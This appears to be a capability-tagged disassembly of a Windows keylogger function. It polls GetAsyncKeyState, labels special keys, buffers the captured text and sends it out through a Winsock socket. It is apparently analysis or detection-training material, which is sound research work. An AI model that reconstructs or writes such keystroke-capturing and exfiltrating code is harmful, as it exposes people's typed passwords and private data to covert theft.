Function at 0x140002110
Capabilities:
Log keystrokes via polling
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x80]
sub rsp, 0x180
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x70], rax
xor r15d, r15d
mov edi, r15d
mov dword [rsp + 0x20], r15d
call fcn.140001ee0
lea rsi, [0x140000000]
lea r13, [0x1400056f8]
lea r12, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov r14d, 0xffff8001
lea rbx, vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
mov r8d, 0xf8
lea rcx, [rsp + 0x70]
call sub.VCRUNTIME140.dll_memset
lea rax, [rsi + 0x5798]
mov qword [rsp + 0x70], rax
mov qword [rbp - 0x80], r13
lea rcx, [rbp + 8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
or edi, 1
mov dword [rsp + 0x20], edi
xor r8d, r8d
lea rdx, [rbp - 0x78]
lea rcx, [rsp + 0x70]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64____ptr64]
nop
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x70], r12
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rsp + rcx + 0x6c], edx
lea rcx, [rbp - 0x78]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
mov qword [rbp - 0x78], rbx
mov qword [rbp - 0x10], r15
mov dword [rbp - 8], r15d
mov ebx, 8
mov ecx, ebx
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cmp ax, r14w
jne 0x14000237b
lea eax, [rbx + 0x42]
cmp eax, 0x6a
ja case.0x140002234.52
cdqe
movzx eax, byte [rsi + rax + 0x257c]
mov ecx, dword [rsi + rax*4 + 0x2540]
add rcx, rsi
jmp rcx
lea rdx, [0x140005680]
lea rcx, [rbp - 0x80]
call fcn.140002e60
inc ebx
jmp 0x140002202
lea rdx, [0x140005684]
lea rcx, [rbp - 0x80]
call fcn.140002e60
inc ebx
jmp 0x140002202
lea rdx, [0x140005688]
lea rcx, [rbp - 0x80]
call fcn.140002e60
inc ebx
jmp 0x140002202
lea rdx, str.SHIFT
lea rcx, [rbp - 0x80]
call fcn.140002e60
inc ebx
jmp 0x140002202
lea rdx, reloc.WS2_32.dll_htonl
lea rcx, [rbp - 0x80]
call fcn.140002e60
inc ebx
jmp 0x140002202
lea rdx, str.R_CLICK
lea rcx, [rbp - 0x80]
call fcn.140002e60
inc ebx
jmp 0x140002202
lea rdx, str.CAPS_LOCK
lea rcx, [rbp - 0x80]
call fcn.140002e60
inc ebx
jmp 0x140002202
lea rdx, str.TAB
lea rcx, [rbp - 0x80]
call fcn.140002e60
inc ebx
jmp 0x140002202
lea rdx, [0x1400056c4]
lea rcx, [rbp - 0x80]
call fcn.140002e60
inc ebx
jmp 0x140002202
lea rdx, str.DOWN
lea rcx, [rbp - 0x80]
call fcn.140002e60
inc ebx
jmp 0x140002202
lea rdx, str.LEFT
lea rcx, [rbp - 0x80]
call fcn.140002e60
inc ebx
jmp 0x140002202
lea rdx, str.RIGHT
lea rcx, [rbp - 0x80]
call fcn.140002e60
inc ebx
jmp 0x140002202
lea rdx, str.CONTROL
lea rcx, [rbp - 0x80]
call fcn.140002e60
inc ebx
jmp 0x140002202
lea rdx, str.ALT
lea rcx, [rbp - 0x80]
call fcn.140002e60
inc ebx
jmp 0x140002202
movzx edx, bl
lea rcx, [rbp - 0x80]
call fcn.140003030
inc ebx
cmp ebx, 0xbe
jle 0x140002202
xorps xmm0, xmm0
movups xmmword [rsp + 0x28], xmm0
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x40], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x28], 0
or edi, 4
mov dword [rsp + 0x20], edi
mov ecx, dword [rbp - 8]
mov eax, ecx
and al, 0x22
cmp al, 2
je 0x1400023d4
mov rax, qword [rbp - 0x38]
mov rbx, qword [rax]
test rbx, rbx
je 0x1400023d4
mov rax, qword [rbp - 0x58]
mov r9, qword [rax]
cmp rbx, qword [rbp - 0x10]
cmovb rbx, qword [rbp - 0x10]
jmp 0x1400023f6
test cl, 4
jne 0x14000242b
mov rax, qword [rbp - 0x40]
mov rcx, qword [rax]
test rcx, rcx
je 0x14000242b
mov rax, qword [rbp - 0x60]
mov r9, qword [rax]
mov rax, qword [rbp - 0x28]
movsxd rbx, dword [rax]
add rbx, rcx
mov rax, r9
sub rbx, r9
test rax, rax
je 0x14000242b
lea rcx, [rsp + 0x28]
cmp rbx, 0xf
ja 0x140002423
mov qword [rsp + 0x38], rbx
mov r8, rbx
mov rdx, r9
call sub.VCRUNTIME140.dll_memmove
mov byte [rsp + rbx + 0x28], 0
jmp 0x14000242b
mov rdx, rbx
call fcn.140003240
and edi, 0xfffffffb
or edi, 2
lea rdx, [rsp + 0x28]
cmp qword [rsp + 0x40], 0xf
cmova rdx, qword [rsp + 0x28]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x140002450
xor r9d, r9d
mov rcx, qword [0x1400089b0]
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x1400024b9
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ebx, eax
lea rdx, str.send_failed:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140002e60
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140003200]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [0x1400089b0]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
nop
mov rdx, qword [rsp + 0x40]
cmp rdx, 0xf
jbe 0x1400024f3
inc rdx
mov rcx, qword [rsp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400024ed
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002536
call fcn.14000342c
nop
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x70], r12
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rsp + rcx + 0x6c], edx
lea rcx, [rbp - 0x78]
call fcn.140002bf0
lea rcx, [rbp - 0x70]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
jmp 0x14000216d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3